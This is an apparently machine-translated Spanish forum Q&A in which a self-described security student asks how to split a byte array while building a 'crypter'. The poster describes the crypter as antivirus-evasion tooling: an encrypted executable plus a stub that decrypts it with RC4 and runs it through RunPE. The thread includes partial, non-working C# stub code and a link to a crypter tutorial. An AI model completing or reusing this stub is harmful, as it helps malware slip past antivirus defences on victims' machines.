Tengo un problema y las otras preguntas aquí no me sirvieron de mucho.Dividir una matriz de bytes en un delimitador
Soy un estudiante de seguridad y estoy tratando de escribir un crypter para un proyecto. Para aquellos que no saben de qué se trata, pueden leer aquí. http://www.gamekiller.net/tutorials-guides/17187-tut-making-crypter-vb6-using-rc4.html
De todas formas, una explicación rápida, cifrados son programas destinados a eludir los antivirus mediante el cifrado de un programa y luego la colocación de un "trozo", que es un programa que lo descifra, en la parte frontal. Tengo un problema muy molesto con la división de mi archivo.
La gran molestia es que tengo que poner el ejecutable encriptado en una matriz de bytes, ya que las cadenas matan ciertos caracteres en mi ejecutable cifrado, por lo que es inexequible. Para empeorar las cosas, todavía tengo que "dividir" el exe y aquí es donde comienza el problema.
La idea básica del talón es:
- obtener la ruta exe actual
- Leer todos los bytes a través File.ReadAllytes
- dividir el archivo en el delimitador "" EVILDELIMITER
- Obtener el último campo (Dado que es el EXE cifrado)
- Descifrarlo utilizando RC4
- Ejecutar utilizando RunPE.
Tengo todo funcionando, excepto la parte de división, que es la más molesta. ¿Cómo puedo dividir una matriz de bytes en el delimitador? ¿Hay alguna forma más fácil de hacer esto?
Aquí está el código del talón que tengo hasta ahora.
public void main()
{
string outpath = RandomString(8) + ".exe";
byte[] key = { 33, 44, 55, 66, 77 };
string apppath = Assembly.GetEntryAssembly();
byte[] exe = File.ReadAllBytes(apppath);
string strseperate = "EVILSEPERATOREVIL";
System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding();
byte[] seperator = encoding.GetBytes(strseperate);
//Split code should go here
exe = Decrypt(key, encrypted);
Process.Start(outpath);
}
Gracias por cualquier ayuda.
La codificación de UTF8 no es ideal. Puede obtener puntos de código Unicode no válidos. Debería intentar iterar a través de la matriz de bytes. – Polynomial
¿Cómo cambio mi cadena a una matriz de bytes? Necesito cambiar mi delimitador antes de poder buscarlo, a menos que conozca una función que me permita buscar a través de una matriz de bytes con un valor de cadena. También arreglé el código. Accidentalmente usé una versión antigua que tenía. – redcodefinal
@Roger Me arroja un montón de errores :(Dice que la cadena no tiene un método ToArray() –
redcodefinal